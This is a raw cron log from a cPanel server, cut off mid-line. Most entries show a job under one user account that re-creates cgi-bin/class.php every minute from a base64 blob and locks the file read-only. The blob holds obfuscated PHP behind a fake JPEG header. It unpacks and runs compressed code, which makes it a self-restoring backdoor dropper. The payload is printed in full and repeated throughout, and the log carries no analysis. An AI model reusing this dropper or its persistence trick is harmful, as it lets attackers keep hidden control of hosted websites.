Nov 15 15:41:01 server CROND[17040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:42:01 server CROND[17305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:42:01 server CROND[17306]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 15:43:01 server CROND[17677]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:44:01 server CROND[17932]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:45:01 server CROND[18203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:45:01 server CROND[18204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:45:01 server CROND[18206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:46:01 server CROND[18527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:47:01 server CROND[18840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:48:01 server CROND[19101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:49:01 server CROND[19365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:50:01 server CROND[19729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:50:01 server CROND[19732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:50:01 server CROND[19730]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 15:50:01 server CROND[19733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 15:50:01 server CROND[19734]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:51:01 server CROND[20046]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:52:01 server CROND[20304]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:53:01 server CROND[20562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:54:01 server CROND[20799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 